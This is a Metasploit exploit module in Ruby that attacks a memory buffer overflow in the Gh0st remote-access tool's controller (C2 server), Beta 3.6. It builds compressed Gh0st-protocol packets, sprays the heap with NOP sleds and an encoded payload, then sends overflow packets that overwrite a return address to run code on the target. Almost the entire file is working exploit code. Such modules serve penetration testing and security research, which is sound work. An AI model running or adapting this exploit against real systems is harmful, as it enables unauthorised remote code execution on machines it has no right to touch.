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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Gh0st Client buffer Overflow',
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      'Description'    => %q{
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          This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
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      },
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      'Author'         => 'Professor Plum',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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          'AllowWin32SEH' => true
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        },
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      'Payload'        =>
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        {
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          'Space'    => 1000,
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          'BadChars' => '',
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          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
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        },
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      'Platform'       => 'win',
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      'DisclosureDate' => '2017-07-27',
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      'Targets'        =>
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        [
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          ['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
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        ],
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      'Privileged'     => false,
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
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        Opt::RPORT(80)
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      ]
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    )
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  end
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  def make_packet(id, data)
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    msg = id.chr + data
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    compressed = Zlib::Deflate.deflate(msg)
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    datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
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  end
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  def validate_response(data)
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    if data.nil?
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      print_status('Server closed connection')
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      return false
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    end
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    if data.empty?
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      print_status('No response received')
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      return false
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    end
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    if data.size < 13
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      print_status('Invalid packet')
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      print_status(data)
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      return false
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    end
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    mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
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    if mag.index(datastore['MAGIC']) != 0
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      print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
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      return false
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    end
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    if pktlen != data.size
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      print_status('Packet size mismatch')
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      return false
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    end
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    msg = Zlib::Inflate.inflate(data[13..data.size])
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    if msg.size != msglen
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      print_status('Packet decompress failure')
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      return false
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    end
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    return true
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  end
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  def check
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    connect
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    sock.put(make_packet(101, "\x00")) # heartbeat
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    if validate_response(sock.get_once || '')
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      return Exploit::CheckCode::Appears
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    print_status("Trying target #{target.name}")
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    print_status('Spraying heap...')
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    for i in 0..100
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      connect
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      sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
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      if not validate_response(sock.get_once)
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        disconnect
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        return
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      end
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    end
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    for i in 103..107
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      print_status("Trying command #{i}...")
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      begin
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        connect
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        sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
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        sock.put(sploit)
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        if validate_response(sock.get_once)
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          next
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        end
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        sleep(0.1)
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        break
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      rescue EOFError
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        print_status('Invalid')
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      end
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    end
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    handler
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    disconnect
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  end
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end
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